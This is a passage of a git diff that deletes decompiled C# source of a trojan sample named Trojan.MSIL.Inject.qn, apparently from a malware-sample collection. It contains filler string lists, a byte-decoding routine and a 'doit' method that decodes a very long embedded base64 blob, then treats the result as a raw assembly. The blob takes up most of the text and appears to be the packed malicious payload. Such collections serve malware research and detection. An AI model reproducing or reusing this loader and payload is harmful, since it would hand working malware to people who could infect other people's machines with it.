"kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dawkodwa", - (object) "dzzz" - }; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/jdawdiawhiwhfifaw.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/jdawdiawhiwhfifaw.cs deleted file mode 100644 index 3968a0e6..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/jdawdiawhiwhfifaw.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: jdawdiawhiwhfifaw -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class jdawdiawhiwhfifaw -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } - - public static void baeahhawwahahw() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } - - public static byte[] ÉËÊ(byte[] ÌÏÏ) - { - byte[] numArray = new byte[checked (ÌÏÏ.Length - 4 + 1)]; - int num1 = (int) ÌÏÏ[0]; - int num2 = checked (ÌÏÏ.Length - 1); - int index = 3; - while (index <= num2) - { - if (num1 == (int) ÌÏÏ[1] | num1 > (int) ÌÏÏ[1]) - num1 = (int) ÌÏÏ[0]; - int num3 = checked ((int) ÌÏÏ[index] - num1); - if (num3 < 0) - checked { num3 += 256; } - if (num3 > (int) byte.MaxValue) - checked { num3 -= 256; } - numArray[checked (index - 3)] = checked ((byte) num3); - checked { num1 += 1 + (int) ÌÏÏ[2]; } - checked { ++index; } - } - return numArray; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/justsomeshit.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/justsomeshit.cs deleted file mode 100644 index d1f515b6..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/justsomeshit.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: justsomeshit -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Reflection; - -[StandardModule] -internal sealed class justsomeshit -{ - public static object doit() - { - byte[] rawAssembly = sakiajfwefjwa.ÈÈÉ(jdawdiawhiwhfifaw.ÉËÊ(Convert.FromBase64String(Conversions.ToString(new ArrayList() - { - (object) "fAkwofwaFAWKaw", - (object) "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